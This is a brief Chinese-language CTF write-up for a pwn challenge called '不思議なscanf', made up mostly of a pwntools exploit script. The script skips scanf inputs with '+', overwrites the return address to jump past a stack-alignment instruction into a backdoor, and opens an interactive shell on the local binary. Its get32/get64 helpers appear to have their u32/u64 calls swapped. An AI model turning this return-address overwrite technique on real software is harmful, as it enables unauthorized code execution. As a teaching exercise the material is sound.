Week3_不思議なscanf

安全策略

修改了返回地址，调用堆栈的情况也发生了变化

我下载的附件有点问题可能，试用官方wp时，出现这种情况，调用堆栈不对也能打到后门

问了师傅们，出题人Chovy师傅给了原本的函数图

exp

from pwn import *
from ctypes import *
context(arch = "amd64",log_level = "debug",os='linux')
#p = remote('192.168.65.1',6666)
p = process('./pwn')
#ELFpath = './pwn'
#p=process(['./ld-linux-x86-64.so.2', ELFpath], env={"LD_PRELOAD":'./libc.so.6'})
#elf = ELF('./pwn')
#libc = ELF('./libc.so.6')
def s(s): return p.send(s)
def sa(s, n): return p.sendafter(s, n)
def sl(s): return p.sendline(s)
def sla(s, n): return p.sendlineafter(s, n)
def r(n): return p.recv(n)
def ru(s): return  p.recvuntil(s)
def ti(): return p.interactive()
def pp(a): print(a)
def pr(): print(p.recv())
def ph(a): print(hex(a))
def get32(): return u64(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
def get64(): return u32(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
def getlibc(a): return libc_base + libc.sym[a]
def bug():
    pause()
    gdb.attach(p)

backdoor = 0x401281
for _ in range(10):
    sla('ます！',b'+')
ru('ます！')
sl(str(0x401261))#说明绕过mov rbp,rsp的栈对齐就可以了
#0x401240|41|61|62
ru('ます！')
sl(str(0))
pause()
gdb.attach(p)
#sl(b'0')
for _ in range(4):
    sla('ます！',b'+')
ti()